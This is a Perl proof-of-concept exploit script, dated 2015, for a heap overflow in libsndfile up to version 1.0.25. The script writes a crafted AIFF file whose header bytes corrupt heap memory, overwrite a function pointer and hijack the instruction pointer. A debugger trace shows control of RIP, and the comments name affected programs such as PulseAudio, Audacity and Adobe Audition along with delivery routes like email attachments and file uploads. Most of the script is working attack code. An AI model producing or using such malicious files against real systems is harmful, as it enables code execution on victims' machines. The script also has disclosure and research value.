#!/usr/bin/env perl # # Author: Marco Romano (@nemux_) - 07 Oct 2015 # # PoC for libsndfile <= 1.0.25 (latest version) Heap overflow # # run ./poc.pl to make nemux.aiff file. Now it can be delivered in different ways. # # Possible attack vectors: # - Firefox (on Linux) -> SWF/Audio play -> pulseaudio -> libsndfile ?? (not tested) # - Email attachment # - TCP socket connection (for audio server only) # - File upload (ex. server side audio file manipulation, interactive voice responder) # - etc... # ----------------------------------------------------------------------------------------- # [*] Affected products: -- All products using libsndfile (a non-exhaustive list below) # # [-] PusleAudio - http://www.freedesktop.org/wiki/Software/PulseAudio/ (TESTED) # Installed by default on most linux environments with libsndfile too (Ex.: Ubuntu, Debian) # [-] Jack AudioConnectionKit- http://www.jackaudio.org (TESTED) # Available for Linux, Win, OSX (List of applications http://www.jackaudio.org/applications/) # [-] Adobe Audition - http://www.adobe.com/products/audition.html (TESTED) # [-] Audacity - http://www.audacityteam.org/ (TESTED) # [-] Asterisk-eSpeak Module - https://zaf.github.io/Asterisk-eSpeak/ (NOT TESTED) # # run an "apt-cache rdepends libsndfile1" to see other interesting dependecies # searching around i found that library is widley used on IOS and Android projects too # ------------------------------------------------------------------------------------------ # [*] libsndfile web site references # # [-] http://www.mega-nerd.com/libsndfile/ # [-] https://github.com/erikd/libsndfile.git # [-] https://en.wikipedia.org/wiki/Libsndfile # # Note: (wikipedia reports that LAME encoder depends by libsndfile too # but i didn't find this dependecy...) ######################################################################################## #### Vulnarability is based on the wrong management of the headindex and headend values. #### While parsing a specially crafted AIFF header the attacker can manage index values #### in order to use memcpy(...) to overwrite memory heap. ######################################################################################## #### # Some parts of the source code: # # -- common.c:337 [*] # ... # #define SF_STR_BUFFER_LEN (8192) # #define SF_HEADER_LEN (4100 + SF_STR_BUFFER_LEN) # ... # typedef struct sf_private_tag # { # ... # ... # /* Index variables for maintaining logbuffer and header above. */ # ... # int headindex, headend ; # ... # /* Virtual I/O functions. */ # int virtual_io ; # SF_VIRTUAL_IO vio ; # ... # ... # } SF_PRIVATE; # # Take a look to the source of aiff.c: # -- git clone https://github.com/erikd/libsndfile.git # # src/aiff.c:403 # while (!done) { ... } # --> # src/common.c: # int psf_binheader_readf (SF_PRIVATE *psf, char const *format, ...) { } # --> --> # src/common.c:793 # static int header_read (SF_PRIVATE *psf, void *ptr, int bytes) # --> --> --> # src/common.c: # static int header_read(...) { # ... # ( here we can write content of file outside the buffer if headindex is ) # ... # memcpy (ptr, psf->header + psf->headindex, bytes) ; # psf->headindex += bytes ; # # } /* header_read */ # # Thourgh a specially crafted AIFF header we can # 1- increase and decrease the headindex value regardless what should be its real value # 2- Overwriting memory with arbitrary data... # ### Pulseudio test on x86_64 # # Starting program: /usr/bin/paplay nemux.aiff # [Thread debugging using libthread_db enabled] # Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". # Program received signal SIGSEGV, Segmentation fault. # [----------------------------------registers-----------------------------------] # RAX: 0x41414141 ('AAAA') # RBX: 0x60d3e0 --> 0x0 # RCX: 0x610a80 --> 0x0 # RDX: 0x44444444 ('DDDD') # RSI: 0x1 # RDI: 0x7ea # RBP: 0x36b0 # RSP: 0x7fffffffd958 --> 0x7ffff76cfe71 (pop rbx) # RIP: 0x41414141 ('AAAA') # ... # [-------------------------------------code-------------------------------------] # Invalid $PC address: 0x41414141 # [------------------------------------------------------------------------------] # Legend: code, data, rodata, value # Stopped reason: SIGSEGV # 0x0000000041414141 in ?? () ######### ########################################################################################## my $header_aiff_c = "\x46\x4F\x52\x4D" . ### FORM and VERSION "\x00\x00\xD0\x7C" . "\x41\x49\x46\x43" . "\x42\x56\x45\x52" . "\x00\x00\x00\x04" . "\xA2\x80\x51\x40" . "\x43\x4F\x4D\x4D" . ### COMM Chunk and Compression NONE (PCM) "\x00\x00\x00\x11" . "\x00\x01\x00\x00" . "\x00\x00\x00\x10" . "\xF3\x0C\xFA\x00" . "\x00\x00\x00\x00" . "\x00\x00\x4E\x4F" . "\x4E\x45\x0E\x6E" . "\x6F\x74\x20\x63" . "\x63\x6D\x92\x72" . "\x65\x73\x53\x65\x64\x00" . "\x53\x53\x4E\x44" . ### 2 SSND Chunks "\x00\x00\x00\x40" . "\x00\x00\x00\xAA" . "\xBD\xBD\xC5\x58" . "\xBD\x96\xCA\xB0" . "\xE9\x6F\x0A\xFE" . "\x24\xCD\x26\x65" . "\x73\x73\x65\x64" . "\x00\x53\x53\x4E" . "\x44\x00\x00\x00" . "\x40\x00\x00\x00" . "\x00\xF8\x72\xF3" . "\x59\xFB\x56\xFE" . "\x00\x00\x00\x3E" . "\xE9\x22\x66\x94" . "\x4E\x66\x55\x94" . "\x4E\xD4\xD7\xC5" . "\x42\x49\x61\xC4" . "\x43\x4F\x4D\x54" . ### 2 COMT Chunks "\x00\x00\x00\x26" . "\x00\x01\x00\x20" . "\x68\x17\x0C\x10" . "\x25\x03\x00\x10" . ### 0x2503 items "\x03\x80\xFF\x37" . "\x52\x00\x00\x00" . "\x04\xA2\x8E\x51" . "\x40\x43\x4F\x4D" . "\x54\x00\x00\x0B" . "\x26\x00\x01\x00" . "\x20\x68" . "\x17\x00\x10\x03" . ### Start wrong and junk chunks (they will trigger default block in the switch statement in aiff.c) "\x03\x00\x10\x1B" . "\x80\xFF\xFF\x4F" . "\x4E\x45\x1F\x6E" . ### my debug: heap 0x161e0d8 "\x6F\x00\x01\x00" . ### my debug: heap 0x161e0dc "\x00\xE4\x7F\x72" . ### ... "\x00\x00\x00\xD7" . "\xBA\x17\xFF\xE3" . "\x1F\x40\xFF\x20" . "\x18\x08\xDD\x18" . "\x00\x28\x00\x28" . "\x00\x28\x40\x28" . "\x00\x28\x00\x28" . "\x00\x28\xFF\xFF" . "\xFF\x80\xF7\x17" . "\x00\x18\x01\x00" . "\x20\x68\x17\x0C" . "\x10\x03\x03\x00" . "\x10\x03\x80\xFF" . "\xFF\x4F\x4E\x45" . "\x0A\x6E\x70\x00" . "\x18\xDE\x3A\x08" . "\x00\x18\x21\xA6" . "\x05\x7F\x40\x00" . "\x08\xFF\x5D\x00" . "\xF0\x00\x4F\x00" . "\x6A\xFF\x89\x9D" . "\xDA\x07\xB6\xFF" . "\x2C\x92\xB3\x0D" . "\xE4\x40\xBB\x23" . "\x00\x18\x00\x38" . "\x00\x63\x00\x28" . "\x00\x90\xFF\xFF" . "\x20\x18\x08\xDD" . "\x18\x00\x28\x00" . "\x28\x00\x5E\xFC" . "\x78\xD9\xAD\xCD" . "\x9E\x3E\xE9\x21" . "\x55\x94\x4E\x85" . "\x51\x94\x4E\xA6" . "\xD7\xC5\x42\xA7" . "\x2A\x55\xC4\x9F" . "\x43\x4F\x4D\x54" . ### here start next COMT Chunk with 0x36B0 items "\x08\x00\x00\x26" . "\x00\x01\x00\x20" . "\x68\x17\x0C\xDD" . "\x36\xB0"; #### end of header... my $file= "nemux.aiff"; if ($ARGV[0] eq "h" || $ARGV[0] eq "help") { print "\n[*] POC for libsndfile <= 1.0.25 (latest version)\n"; print "[*] Heap overflow vulnerability\n"; print "[*] Author: Marco Romano (\@nemux_) - 07 Oct 2015 \n"; print "\n Just run " . $0 . " (output will be \"nemux.aiff\" file)\n\n"; exit 0; } my $eax_addr = 0x41414141; my $edx_addr = 0x44444444; ##### #### We are going to overwirte psf structure allocated in the heap ##### my $content_file = pack('Q', $eax_addr); $content_file .= "\x90" x ( 21146 - length pack('Q',$eax_addr) ); ##### ### In the psf structure we will overwrite "int virtual_io" with a true value, and vio.seek function pointer ### with an arbitrary address. ### in this way the block below will be triggred in file_io.c: ### ... ### if (psf->virtual_io) ### return psf->vio.seek (...); ### ##### my $rax_overwrite = pack('Q',$eax_addr); ### overwrite vio.seek pointer here my $padding = "\x43" x 24; ### .... my $rdx_overwrite = pack('Q',$edx_addr); ### overwrite rdx here ... my $padding_end_file = "MOMIMANHACKERNOW" x 7; ### not useful but funny... -_- print "\n[*] Making AIFF file: \"nemux.aiff\""; my $payload = $header_aiff_c . $content_file . $rax_overwrite . $padding . $rdx_overwrite . $padding_end_file; print "\n[*] Done... AIFF File Size: ".length($payload)."\n"; print "\nIs it over? ... Hello? ... Did we win? (cit.)\n"; open($FILE,">$file"); print $FILE $payload; close($FILE); print "\n[+] You can test it on OSX and Linux with Audacity - linux command line /usr/bin/audacity namux.aiff\n"; print "[+] You can test it on OSX Windows and Linux - with Adobe Audition"; print "\nNote: Adobe Audition will trigger the bug just when it scans the directory that contains this aiff file\n\n"; print "Marco Romano \@nemux_\n\n";